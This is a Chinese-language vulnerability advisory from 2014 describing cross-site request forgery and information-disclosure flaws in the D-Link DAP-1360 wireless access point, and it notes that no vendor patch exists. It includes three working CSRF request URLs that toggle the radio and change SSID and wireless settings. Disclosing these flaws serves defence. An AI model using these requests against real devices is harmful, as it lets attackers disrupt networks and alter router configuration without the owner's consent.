发布日期：2014-11-08
更新日期：2014-11-18

受影响系统：

D-Link DAP-1360

描述：

---

BUGTRAQ  ID: 71000

D-Link DAP-1360是无线N接入点连接宽带调制解调器。

D-Link DAP-1360在实现上存在多个跨站请求伪造漏洞及信息泄露漏洞，成功利用后可使远程攻击者执行某些管理员操作。

<*来源：MustLive （mustlive@websecurity.com.ua）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

MustLive （mustlive@websecurity.com.ua）提供了如下测试方法：

http://www.example.com/index.cgi?v2=y&amp;rq=y&amp;res_json=y&amp;res_data_type=json&amp;res_config_action=3&amp;res_config_id=39&amp;res_struct_size=0&amp;res_buf={%22Radio%22:false,%22mbssidNum%22:1,%22mbssidCur%22:1}
http://www.example.com/index.cgi?v2=y&amp;rq=y&amp;res_json=y&amp;res_data_type=json&amp;res_config_action=3&amp;res_config_id=39&amp;res_struct_size=0&amp;res_buf={%22Radio%22:true,%22mbssidNum%22:1,%22mbssidCur%22:1}
http://www.example.com/index.cgi?v2=y&amp;rq=y&amp;res_json=y&amp;res_data_type=json&amp;res_config_action=3&amp;res_config_id=35&amp;res_struct_size=0&amp;res_buf={%22HideSSID%22:false,%22mbssid%22:[{%22SSID%22:%221%22}],%22CountryCode%22:%22UA%22,%22Channel%22:%22auto%22,%22WirelessMode%22:%229%22,%22MaxStaNum%22:%220%22}

建议：

---

厂商补丁：

D-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dlink.com/

浏览次数：1553
严重程度：0（网友投票）